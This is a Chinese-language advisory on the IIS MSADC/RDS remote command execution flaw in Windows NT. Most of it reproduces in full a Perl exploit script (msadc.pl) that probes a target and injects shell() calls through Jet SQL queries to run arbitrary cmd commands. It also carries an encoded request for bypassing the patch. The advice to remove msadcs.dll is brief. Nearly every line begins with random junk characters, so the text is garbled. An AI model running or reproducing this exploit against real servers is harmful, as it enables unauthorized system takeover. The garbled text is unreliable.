IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3d @ef | #Jv43L H 涉及程序：
{WKOJG+. Microsoft NT server
@% H8"A 5&G
5eA 描述：
.d
e 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
IW] *i?L YJc%h@ _=] 详细：
'&)D>@g 如果你没有时间读详细内容的话，就删除:
QnP{$rT c:\Program Files\Common Files\System\Msadc\msadcs.dll
I)rGOda{ 有关的安全问题就没有了。
3XGB+$]C blmmm(|~| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
9H[/T j-; )"F5lOA6 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
K{N%kk%F 关于利用ODBC远程漏洞的描述，请参看:
p EkOSG E+I m~=m$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _lNC<7+#h iz$FcA] 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
+
lP5XY{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp *0-v!\{ [5!'ykZ 这里不再论述。
Kny%QBoiw fZ{&dslg 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<g*.p@o 6I5o2i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.`mtA`N 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
%Dra 7B% n3*UgNg%fK ;n`
$+g:> #将下面这段保存为txt文件，然后: "perl -x 文件名"
pY, O_
t$ ?-d
Ain1w #!perl
Q QT G9s #
srsK:%` # MSADC/RDS 'usage' (aka exploit) script
@7 )Z #
u2\+?`Ox # by rain.forest.puppy
s><IykIi #
?LR"hZ> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6 1L7
-~ # beta test and find errors!
Ogd8!'\ ;C+cE# use Socket; use Getopt::Std;
e/ WBgiLw getopts("e:vd:h:XR", \%args);
U |9 U(il [4ee <J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
T ^N L:78 t1 8UDR{ if (!defined $args{h} && !defined $args{R}) {
~~ U < print qq~
%8a=mQl1^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
j= FMYd8$y -h <host> = host you want to scan (ip or domain)
YN4"O> -d <seconds> = delay between calls, default 1 second
\m%J`{Mt -X = dump Index Server path table, if available
g%X &f_@ -v = verbose
~c!Rx' -e = external dictionary file for step 5
ot]>}[
x3gwG)Sf Or a -R will resume a command session
\ibCR~W4 wInY7u Bd! ~; exit;}
Is<x31R >1m)%zt $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xnT3^ #-h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
" \`BPN if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W0C{~|e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
o*-h%Z. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@l)\?IEF@f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(rAiDRQ[ )\D2\1e(c if (!defined $args{R}){ $ret = &has_msadc;
uXjoGcW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
k{?!O\yY p}96uaC1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1!X1wC T . "cmd /c ";
hx*HY%\P $in=<STDIN>; chomp $in;
O >nK ,. $command="cmd /c " . $in ;
ZGA)r0]
P` :jB ZK=3F> if (defined $args{R}) {&load; exit;}
Q@7l"8#[t nt drXg print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,tcP=f dk] &try_btcustmr;
"3\oQvi. |
A3U@>6 print "\nStep 2: Trying to make our own DSN...";
(W7;}g ysh &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+{5JDyh0 1XqIPiXJ print "\nStep 3: Trying known DSNs...";
A<mj8q z &known_dsn;
o`b$^hv{A Hde]DK,d print "\nStep 4: Trying known .mdbs...";
bK!,Pc< &known_mdb;
W\&WS"=~ }Q!h ov if (defined $args{e}){
Q^*G`&w, print "\nStep 5: Trying dictionary of DSN names...";
umZlIH[7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SAd 97A: :0WkxEY9 print "Sorry Charley...maybe next time?\n";
i/ 5 y^
exit;
g@<sU0B wEBtre7 ##############################################################################
zt-'SY 9 %D$T'K sub sendraw { # ripped and modded from whisker
f -vZ2+HP sleep($delay); # it's a DoS on the server! At least on mine...
u+I3IdU3 my ($pstr)=@_;
y T[ Lzv# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wCV>F- die("Socket problems\n");
#L_@s
d if(connect(S,pack "SnA4x8",2,80,$target)){
NS7@8 #C select(S); $|=1;
AF6d#Klog print $pstr; my @in=<S>;
dNOX&$/= select(STDOUT); close(S);
A
Z4|&i T return @in;
G /NT e } else { die("Can't connect...\n"); }}
;[FW! KYnW7|* ##############################################################################
Sg/: n,68 !S~,> ,yd sub make_header { # make the HTTP request
O3_D~O
." my $msadc=<<EOT
_L?v6MTj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
b ^u P^](J User-Agent: ACTIVEDATA
>r;ABz/ Host: $ip
R#"U/ 8b>z Content-Length: $clen
%T`4!:vy Connection: Keep-Alive
q :TZ =bs^ fn1 ?Qp| ADCClientVersion:01.06
.tZjdNE(h Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
cYZwWMzp wrz+2EP` --!ADM!ROX!YOUR!WORLD!
\Ku9"x Content-Type: application/x-varg
'dmp4VT3 Content-Length: $reqlen
N90\]dFmy jHs<s` #h EOT
3C> 2x(]M ; $msadc=~s/\n/\r\n/g;
HF*j`} return $msadc;}
B`g<G e~ >v^2^$^u ##############################################################################
ML=hKwCA 1bV 2 sub make_req { # make the RDS request
s,1pZ T <E my ($switch, $p1, $p2)=@_;
eNI kiJ$uS my $req=""; my $t1, $t2, $query, $dsn;
BengRG[ u3Zzu \{ if ($switch==1){ # this is the btcustmr.mdb query
EO4 " Z@ji $query="Select * from Customers where City=" . make_shell();
o>xxmyW| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?D RFsA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
[ea6dv4p *]{9 K elsif ($switch==2){ # this is general make table query
tU+@ 1~
~ $query="create table AZZ (B int, C varchar(10))";
2"pE&QNd $dsn="$p1";}
xB?S#5G} JIyBhFI elsif ($switch==3){ # this is general exploit table query
:NwMb ^> $query="select * from AZZ where C=" . make_shell();
)z]q"s5 Y $dsn="$p1";}
:N^@a- NWo7wVwc/c elsif ($switch==4){ # attempt to hork file info from index server
Ybs=W< - $query="select path from scope()";
n.2E8m/ $dsn="Provider=MSIDXS;";}
3v9gb,)y\ uS!
35{.> elsif ($switch==5){ # bad query
uB5h9&5 7 $query="select";
a<O CO0irJ $dsn="$p1";}
](B& l{V [47K7~9p $t1= make_unicode($query);
^>,< * p $t2= make_unicode($dsn);
t x:rj6 -z $req = "\x02\x00\x03\x00";
jw:4fb $req.= "\x08\x00" . pack ("S1", length($t1));
h]J& A $req.= "\x00\x00" . $t1 ;
#,f}lV,& $req.= "\x08\x00" . pack ("S1", length($t2));
* kX3sG$8 $req.= "\x00\x00" . $t2 ;
|@ o]X?^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6Nfof return $req;}
rK(x4]I
l" w5dI k]T ##############################################################################
d8Q_6(Ar| XBfia j sub make_shell { # this makes the shell() statement
,W)IVc
return "'|shell(\"$command\")|'";}
q|47;bK' z;fd#N: ##############################################################################
l }2%?d %\(y8QV sub make_unicode { # quick little function to convert to unicode
{ Y3_I\H8{ my ($in)=@_; my $out;
&%f ]-=~ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3b g4# c return $out;}
s
T
:tFK\ !1a|5
xrn ##############################################################################
b'Fx), r 85Xa'hh sub rdo_success { # checks for RDO return success (this is kludge)
,? 0-=o my (@in) = @_; my $base=content_start(@in);
BNL8hK`D if($in[$base]=~/multipart\/mixed/){
L}e"nzTE6I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
<B ]i80. return 0;}
Dyouk+08x 1jUhG2y ##############################################################################
rZ8Y=) e (n":] 8} sub make_dsn { # this makes a DSN for us
WuP([8 my @drives=("c","d","e","f");
X/`#5<x print "\nMaking DSN: ";
:/yr(V{ foreach $drive (@drives) {
[6,]9|~ print "$drive: ";
J'G`=m"-' my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.R$+#_ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
s0XRL 1kWr . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.T#y N\S1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#q~3c;ec return 0 if $2 eq "404"; # not found/doesn't exist
*! r\GGb if($2 eq "200") {
:Fi%Cef| foreach $line (@results) {
IS0HV$OI return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h30QCk } return 0;}
DJ
mQZ+{2 (PsS E:r}+ ##############################################################################
RB lO TQjv 0_,3/EWa sub verify_exists {
X YNUss my ($page)=@_;
|g?/~%7 my @results=sendraw("GET $page HTTP/1.0\n\n");
O, ``\(P return $results[0];}
Kh:#S|
;G%wc! ##############################################################################
j$|Yd= G)tq/`zNw sub try_btcustmr {
E1l\~%A my @drives=("c","d","e","f");
4P O%qO my @dirs=("winnt","winnt35","winnt351","win","windows");
yv!''F:9F TzevC$m;z foreach $dir (@dirs) {
X5L(_0?F1 print "$dir -> "; # fun status so you can see progress
|7S4; foreach $drive (@drives) {
7kX7\[zN print "$drive: "; # ditto
2vh!p ez_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
JL.yd H79 $reqlenlen=length( "$reqlen" );
(:fE _H2z $clen= 206 + $reqlenlen + $reqlen;
zCGmn& *M ZyS;+" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M k'n~.mb if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\c9t]py<.h else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
48 ~m=mI l# !@{ < ##############################################################################
NDIc?kj~ p(x1D]#Z[ sub odbc_error {
^O$[Y9~*
my (@in)=@_; my $base;
+]S;U&vQ my $base = content_start(@in);
H4y1Hpa, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
So)KI_M $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(v'lb!j^# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_Y
><ih $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0'\FrG return $in[$base+4].$in[$base+5].$in[$base+6];}
k@t,[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G3_mWpp H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
YA;8uMqh; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
XD+cs.{5 * 0&i'0> ##############################################################################
#>=/15: 5& rCNi*\ sub verbose {
YzhN |!;!k my ($in)=@_;
^+- L;XkeY return if !$verbose;
?9('o\N: print STDOUT "\n$in\n";}
/K1 $_ l9ifU h e ##############################################################################
D25gg {o5K?Pb sub save {
9A}
kkMB: my ($p1, $p2, $p3, $p4)=@_;
j0pvLZjM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:_~PU$%0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
H%NLL4&wu close OUT;}
9$P l'>5 F'5d\ v ##############################################################################
:`>+f. ) Z z; <P sub load {
{ Jw<<<G my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o$blPTN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,I2re G @p=<IN>; close(IN);
jC/JiI $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(;2J(GZ:$U $target= inet_aton($ip) || die("inet_aton problems");
{ ck print "Resuming to $ip ...";
:LIKp; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
E!}-qbH^ if($p[1]==1) {
}%>$}4 , $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/qkIoF2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X,!OWz:[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
se n{f^U if (rdo_success(@results)){print "Success!\n";}
$MJDB else { print "failed\n"; verbose(odbc_error(@results));}}
[^(R1K elsif ($p[1]==3){
>e$^# \D if(run_query("$p[3]")){
h4B#T'b print "Success!\n";} else { print "failed\n"; }}
TNFm7}= elsif ($p[1]==4){
L$u&~"z- if(run_query($drvst . "$p[3]")){
qT<qu(V: print "Success!\n"; } else { print "failed\n"; }}
rCSG@D. exit;}
[-Dgo1}Qr eV CkPv * ##############################################################################
?;KJ
(@Va 3Ibt'$dK sub create_table {
_[OEE<( my ($in)=@_;
ZvnZ}t >? $reqlen=length( make_req(2,$in,"") ) - 28;
1M~:]}*< $reqlenlen=length( "$reqlen" );
.{]c &Ef+f $clen= 206 + $reqlenlen + $reqlen;
8 {4D |o#O my @results=sendraw(make_header() . make_req(2,$in,""));
$L#Z?76v return 1 if rdo_success(@results);
w7t"&=pF7 my $temp= odbc_error(@results); verbose($temp);
A 6x_! return 1 if $temp=~/Table 'AZZ' already exists/;
^`>Ysc(@& return 0;}
z Wmo
OnK u.L8tR:( ##############################################################################
!
^*;c# v$Y1+Ep9 sub known_dsn {
!K^kKP*l # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
NX{-D}1X= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}Mb'tGW "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_F|_C5A "banner", "banners", "ads", "ADCDemo", "ADCTest");
x+:,b~Skk 2wuW5H8w{ foreach $dSn (@dsns) {
KlqJ EtO_ print ".";
@8M2'R\ next if (!is_access("DSN=$dSn"));
VF!kr1 n! if(create_table("DSN=$dSn")){
^1Zq 0 print "$dSn successful\n";
O->(9k < if(run_query("DSN=$dSn")){
dG~B3xg;5i print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vkd<l& zD print "Something's borked. Use verbose next time\n";}}} print "\n";}
b5 C}K v"( '_! ##############################################################################
q;a*gqt yE|}
r sub is_access {
z.9FDQLp my ($in)=@_;
) Q $reqlen=length( make_req(5,$in,"") ) - 28;
+u iH0iGS $reqlenlen=length( "$reqlen" );
,Qi|g' a $clen= 206 + $reqlenlen + $reqlen;
PN^1 my @results=sendraw(make_header() . make_req(5,$in,""));
eGypXf% my $temp= odbc_error(@results);
R
EH&kcn verbose($temp); return 1 if ($temp=~/Microsoft Access/);
y[@j0xlO return 0;}
ZR q}g: e}O -I ##############################################################################
NF\^'W@ N UE `4$^qs sub run_query {
M>H^<N}'A my ($in)=@_;
0)Xue9AS $reqlen=length( make_req(3,$in,"") ) - 28;
c Lko $reqlenlen=length( "$reqlen" );
'S D|ObBY $clen= 206 + $reqlenlen + $reqlen;
Y <i}"eI* my @results=sendraw(make_header() . make_req(3,$in,""));
-MW(={# return 1 if rdo_success(@results);
Y./}zCT my $temp= odbc_error(@results); verbose($temp);
RdVis|7o return 0;}
yb.|7U?/x <QW1fE ##############################################################################
R6@~ a~eLkWnh<k sub known_mdb {
@?cXa: tX my @drives=("c","d","e","f","g");
b=
ec?n #7 my @dirs=("winnt","winnt35","winnt351","win","windows");
:2Rci`lp my $dir, $drive, $mdb;
8J?`_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-0IFPL8 V45Udwp ^ # this is sparse, because I don't know of many
yY-t4WeXP my @sysmdbs=( "\\catroot\\icatalog.mdb",
=qR7-Q8B "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
DHNii_w4v "\\system32\\certmdb.mdb",
l G Hu@(n< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{ugKv?e ; *9{Wn7pck/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%T TL^@1!b "\\cfusion\\cfapps\\forums\\forums_.mdb",
{*Wwu
f. "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)I-?zyL "\\cfusion\\cfapps\\security\\realm_.mdb",
oS|~\,p" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}~~^Z tJ\ "\\cfusion\\database\\cfexamples.mdb",
6V6g{6W,/ "\\cfusion\\database\\cfsnippets.mdb",
i K:qP rk- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j72] _G "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
CJ tjn "\\cfusion\\brighttiger\\database\\cleam.mdb",
-%gd')@SfD "\\cfusion\\database\\smpolicy.mdb",
wOkJ:k "\\cfusion\\database\cypress.mdb",
M"l rwun^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RT A= |q "\\website\\cgi-win\\dbsample.mdb",
[T#a1! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y~SlipY_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
n*4X/ K ); #these are just
B|$13dHfa foreach $drive (@drives) {
>A( C9_\ foreach $dir (@dirs){
A*U'SCg(G foreach $mdb (@sysmdbs) {
R9-JjG2v print ".";
m+^;\DFJ, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
pV|?dQ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q]%bd[zkz if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x[~OVG0M* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.%b_3s". } else { print "Something's borked. Use verbose next time\n"; }}}}}
^JVP2L>o* s /q5o@b{ foreach $drive (@drives) {
TdIFZ[<7 foreach $mdb (@mdbs) {
v oS"X
print ".";
GJ_)Cl+5E if(create_table($drv . $drive . $dir . $mdb)){
~@?-|xLqQ print "\n" . $drive . $dir . $mdb . " successful\n";
$ 14DTjj if(run_query($drv . $drive . $dir . $mdb)){
Y"rV[oe print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!;!~5 "0~" } else { print "Something's borked. Use verbose next time\n"; }}}}
+5|nCp6||j }
=i>F^7)U1 'wnY>h N ##############################################################################
"?&bh@P& 2965 7k8 sub hork_idx {
4
Wd5Goe: print "\nAttempting to dump Index Server tables...\n";
Hz3X*G\5b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
yBh"qnOT $reqlen=length( make_req(4,"","") ) - 28;
sq|@9GS0T $reqlenlen=length( "$reqlen" );
9<c4y4#y $clen= 206 + $reqlenlen + $reqlen;
`v2l1CQ: ^ my @results=sendraw2(make_header() . make_req(4,"",""));
hg=G// if (rdo_success(@results)){
0F'UFn>{ my $max=@results; my $c; my %d;
rAw1g,& for($c=19; $c<$max; $c++){
NK hR%H $results[$c]=~s/\x00//g;
u0hbM9U> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
z n8ig/C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
NG!Q< !Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Xq!tXJ) $d{"$1$2"}="";}
Cwf$`?|W foreach $c (keys %d){ print "$c\n"; }
Rj;e82%%N } else {print "Index server doesn't seem to be installed.\n"; }}
i8@e }O I Y8{1?LO ##############################################################################
TaJn2cC^ na:^7:I sub dsn_dict {
gH) B`
@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$uB(@Ft. while(<IN>){
CyDf[C)= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
lfeWtzOf next if (!is_access("DSN=$dSn"));
rh&Eu qE% if(create_table("DSN=$dSn")){
L;7mt
4H print "$dSn successful\n";
nKkTn TSa if(run_query("DSN=$dSn")){
Z M, ^R?e print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
iB`]Z@ZC print "Something's borked. Use verbose next time\n";}}}
?yeC
j1X print "\n"; close(IN);}
U)]natB A@AGu#W ##############################################################################
<X&:tZ #/ 7lPk~0 sub sendraw2 { # ripped and modded from whisker
u3b rb'Y+ sleep($delay); # it's a DoS on the server! At least on mine...
#e2 69FwN my ($pstr)=@_;
/O9EI'40) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=u"|qD die("Socket problems\n");
!Qa7- if(connect(S,pack "SnA4x8",2,80,$target)){
lD#1"$Coz print "Connected. Getting data";
i3j jPN! open(OUT,">raw.out"); my @in;
n(S-F g select(S); $|=1; print $pstr;
d'fpaLV while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(k .7 q~: close(OUT); select(STDOUT); close(S); return @in;
f_XCO=8'v } else { die("Can't connect...\n"); }}
vqZM89 xY l%~zj,ew ##############################################################################
}0),b ?*e
(HKm2JuFG sub content_start { # this will take in the server headers
Gn4b\ y%% my (@in)=@_; my $c;
bl-s0Ax- for ($c=1;$c<500;$c++) {
^:ngHue8~ if($in[$c] =~/^\x0d\x0a/){
' qS!n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
P"@^'yR5WK else { return $c+1; }}}
g``4U3T%X return -1;} # it should never get here actually
%y+j~]^: --)[>6)I ##############################################################################
ur7a%NH *Ocp tmY< sub funky {
(5;xs my (@in)=@_; my $error=odbc_error(@in);
.e#j#tQp if($error=~/ADO could not find the specified provider/){
?7a[ | -
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dsuW4 ^ l exit;}
jzMGRN/67 if($error=~/A Handler is required/){
HbVm
O]#$D print "\nServer has custom handler filters (they most likely are patched)\n";
h9n CSj exit;}
2F7R,rr
if($error=~/specified Handler has denied Access/){
\D a$bJ print "\nServer has custom handler filters (they most likely are patched)\n";
L-dKZ8Q exit;}}
ox#4|<qM $, 42h ##############################################################################
kA`qExw% d^^>3L!h sub has_msadc {
Lr&BZM my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-v@^6bQVp my $base=content_start(@results);
q)zvePO# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%*=FLtBjo return 0;}
G [,VP C= epm|pA* ########################
8, ^UQ5x ^o:5B%}#[ >UH=]$ 0N 解决方案：
1sA-BQL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
bNgcZ
V. 2、移除web 目录: /msadc
